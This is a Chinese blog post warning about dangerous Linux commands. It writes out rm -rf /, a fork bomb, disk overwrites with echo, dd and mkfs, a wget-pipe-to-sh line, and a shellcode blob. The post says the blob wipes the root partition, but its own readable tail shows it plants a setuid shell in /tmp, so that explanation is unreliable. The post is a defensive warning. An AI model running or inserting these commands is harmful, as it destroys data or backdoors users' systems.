• linux总结10大危险命令


    rm -rf 命令

    该命令可能导致不可恢复的系统崩坏。

    > rm -rf /  #强制删除根目录下所有东西。
    > rm -rf *  #强制删除当前目录的所有文件。
    > rm -rf .  #强制删除当前文件夹及其子文件夹。
    
    • 1
    • 2
    • 3

    执行rm -rf 一定要想半天,搞明白自己在干什么.

    fork 炸弹

    :() { :|:& };:
    
    • 1

    不太好理解可以转换成

    bomb()
    {
        bomb|bomb&
    };
    bomb
    
    • 1
    • 2
    • 3
    • 4
    • 5

    一旦执行起来,-bash: fork: Cannot allocate memory,会把系统资源消耗殆尽。它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。

    echo “” > /dev/sda

    该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。

    mv 文件夹 /dev/null

    > mv /etc /dev/null
    
    • 1

    /dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。
    但是这个命令并不能阻止数据恢复软件——所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成。

    下载的文件立即执行

    > wget http://rumenz.com/rumenz.sh -O- | sh
    
    • 1

    如果rumenz.sh是一个病毒脚本,就完蛋了。下载脚本文件之前要看看里面的内容,有危险的操作就不要执行。

    mkfs.ext3 /dev/sdb

    这个命令会格式化块设备sdb,在执行这个命令后你的块设备(硬盘驱动器)会被格式化,直接让你的系统达到不可恢复的阶段。

    重定向输出到文件

    >  > rumenz.txt
    
    • 1

    这个命令常用来清空文件内容或记录命令输出,执行之前请考虑清楚。

    硬盘清零

    > dd if=/dev/zero of=/dev/had
    
    • 1

    这个命令会将整个主硬盘清零

    执行伪装后的命令

    char esp[] __attribute__ ((section(“.text”))) /* e.s.p
    release */
    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
    “\x6e\x2f\x73\x68\x00\x2d\x63\x00″
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    上面的命令就是rm -rf ,这里的代码是隐藏在十六进制里的,可能会擦除你的根分区,所以看不懂的命令千万不能执行,非要看效果,请在虚拟机中执行。

    原文链接:https://rumenz.com/rumenbiji/linux-danger-command.html
    微信公众号:入门小站

    • 回复【1001】获取 linux常用命令速查手册
    • 回复【10010】获取 阿里云ECS运维Linux系统诊断
    • 回复【10012】获取 Linux学习笔记【强悍总结值得一看】
    • 回复【10013】获取 shell简明教程

  • 相关阅读:
    抖音超火的JavaScript和Canvas外太空表盘两款网页制作
    Sping bean 的默认名称
    VM系列振弦采集模块频率计算与质量评定
    MYSQL-入门
    按键灯待机2秒后灭掉
    浅谈薄膜行业MES解决方案
    netty系列之:channel,ServerChannel和netty中的实现
    Linux:线程互斥与同步 | 生产者消费者模型 | 线程伪唤醒、唤醒丢失 | 死锁
    【Shell】Shell脚本入门
    不同平台下运行历程代码
  • 原文地址:https://blog.csdn.net/weixin_37335761/article/details/125768666